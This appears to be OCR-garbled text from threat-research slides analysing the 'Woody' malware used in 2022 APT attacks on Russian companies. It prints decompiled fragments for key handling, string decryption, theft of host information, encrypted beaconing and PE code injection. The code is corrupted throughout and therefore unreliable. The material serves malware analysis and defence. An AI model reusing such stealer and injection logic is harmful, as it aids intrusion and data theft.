vl->quworde® = 0164,
vli->qword8 = 0164;
vli->qwordle = 0i64;
vli->dwordl8 = @xA;
vl->qword2e = ©8i64;
vl->pMutex = CreateMutexW(©i64, @, 0164);
g pvistruct = (_ inted4)vi;
p_initedMutexStruct = vi;

¥
v138 = 0i64;
v139 = @ie4;

vi6 = 4i64; -
do

{
*(_OWORD *)pKeyInMemory = *g pRSAkey;

*((_OWORD *)pKeyInMemory + 1) = g pRSAkey[1];
*((_OWORD *)pKeyInMemory + 2) = g pRSAkey[2];
*((_OWORD *)pKeyInMemory + 3) = g pRSAkey[3];
*((_OWORD *)pKeyInMemory + 4) = g pRSAkey[4];
*((_OWORD *)pKeyInMemory + 5) = g pRSAkey[5];
*((_OWORD *)pKeyInMemory + 6) = g pRSAkey[6];

pKeyInMemory += @x88;
*((_OWORD *)pKeyInMemory + @XFFFFFFFF) = g pRSAkey[7];
g pRSAkey += 8;
--v16;
}
while ( v16 );
LODWORD(pV1Struct addr) = @;

*(_DWORD *)sub_14eeescee(( inte4 *)inited, (signed int *)&pVviStruct addr) = ex4Be;
LODWORD(pV1Struct addr) = 1;

*(_DWORD *)sub 14eeescee(( inte4 *)inited, (signed int *)&pViStruct addr) = 1;
LODWORD(pV1Struct addr) = 2;

*(_DWORD *)sub _14eeescee(( inte4 *)inited, (signed int *)&pviStruct addr) = ex546@;
LODWORD(pV1Struct addr) = 7;

*(_DWORD *)sub 14@@05Cee(( inted4 *)inited, (signed int *)&pvisStruct addr) = oxa;

nRCA maml1] = AvI061 /A
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Woody: Strings decrypt P

pDataToDecrypt[1] = (void *)ox4D;
i = ox100i64;
pInitedStrval = (struct v62 *)operator new(@xleeuicd);
pDataToDecrypt[@] = pInitedstrval;
memset(pInitedStrval, @, @xleeuisad);
if ( pInitedstrval > (struct ve2 *)&byte 140@6DBBC
|| (v63 = &xmmword 14e@@6DB7@, &pInitedstrval[1l] < (struct v62 *)&xmmword 14006DB70) )
{
pInitedStrval->oword® = xmmword 14006DB7@;
pInitedstrval->owordl® = xmmword 14006DB8O;
pInitedstrval->oword28 = xmmword 14806DB98@;
pInitedstrval->oword3@ = xmmword 14006DBA@;
pInitedstrval->qword4e = @xAE5189F2941502FDuisd;
pInitedstrVval->dword48 = @xC229AE53;
LOBYTE(pInitedStrval[1].oworda) = @x64;
¥
else 2
{ .
ve4 = pInitedstrval;
do

{

1)

LOBYTE(v64->oword®) = *( BYTE *)ve3;
ved = (struct ve2 *)((char *)ved + 1);
ve3 = (__int128 *)((char *)ve3 + 1);
--v57;
¥
while ( v57 );
¥
ve5 = String::fnStringDecrypt(
(unsigned  intea *)pDataToDecrypt,
(unsigned  inte4 *)&Block,
(unsigned  int64 *)v122);
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Woody: Data packet format

v2 = (__inte4 *)g pvisStruct;
if ( lg pvistruct )
exit(exFFFFFFFF);
RANDOM: : fnMarsenneTwister init(( inted4)hProv);
inited = fnInitMainStruc();
fnstealPcInfo(( inted4)pStealedData);
vae[e] = 0i64; —
v4B[1] = eie4;
val = 9i64; - £
v42 = v49; I
g _aDsT[e] = oie64; - .
va4a = 9ie64; — ’ p
v45 = @xFi64; - : &

std::string::assign((std::string *)g aDST, " DAT", 4uis4d); \’ . s
P A g
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Woody: Data encrypted packet




Woody: Code injection

RANDOM: : fnMarsenneTwister init((_ inte4)v33);

sub

sub
sub
v/ =
VB =
sub
Vo =
vlie

Stri
sub
sub
vll

v12

v13

sub
if (

r

140002EAQ((__intea)size);
140014CCO( (HCRYPTPROV *)v33, Size, 0x20u);
140004C70(v30);
(void **)sub 14@005720(1inited, (#163 *)v27, 5);
(volid **)sub 140005720(inited, (#163 *)v26, 4);
140025B00(v3@, v8, v7);
calloc((size t)Count, (size t)Size);
= Encryption::fnRsakncrypt((_ intée4)v3e, (  inte4)v22, (  inte4)v9o);
ng::fnToHex(Dst, vi1e);
140002E20(v32);
140002EAQ( (__intea)v2s);
= String::appendToStrByAddr(v23, L"telemetry/64");
= std::string::string((stl string *)v22, (stl string *)Dst);
= Net::fnSendInitRequest(v3, (#163 *)v2e, ( inte4)vi2, vil);
14000E220( (__intea)v2s, (__intea)vi3);
__FrameHandler3::TryBlockMap: :getpDC((_ _FrameHandler3::TryBlockMap *)v25) )

yﬁgﬂﬁdﬂﬂfﬂ¢§W;,
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Woody: Injection AN

2022

pNtHeader = (IMAGE NT HEADERS *)((char *)pPEBuffer + pPEBuffer->e lfanew);
if ( pNtHeader->OptionalHeader.Magic != ex20B )// IMAGE NT OPTIONAL HDR64 MAGIC ?
return @164;
VirtualAddress = pNtHeader->OptionalHeader.DataDirectory[@].VirtualAddress;
v4d = (IMAGE SECTION HEADER *)((char *)&pNtHeader->OptionalHeader + pNtHeader->FileHeader.SizeOfOptionalHeader);
PointerToRawData = v4->PolinterToRawData;
if ( virtualAddress >= PointerToRawData )

{
NumberOfSections = pNtHeader->FileHeader.NumberOfSections;
v7 = 03
if ( NumberOfsections )
{
while ( 1 )
{
v8 = v4[v7].VirtualAddress;
vo = &va[v7];
if ( VvirtualAddress »>= v8 && VirtualAddress < v8 + v9->SizeOfRawData )
break;
if ( ++v7 >= NumberOfsSections )
goto LABEL 7;
h
VirtualAddress += v9->PolnterToRawData - v8;
1
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Conclusions

* Phishing remains an effective initial access
technique;

« Unsophisticated, yet successful;

« Humans are the weakest link in cybersecurity; the
same is true for APTs.
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https://github.com/edb88320h/APT-attacks-on-Russian-companies-in-H1-2022-highlights
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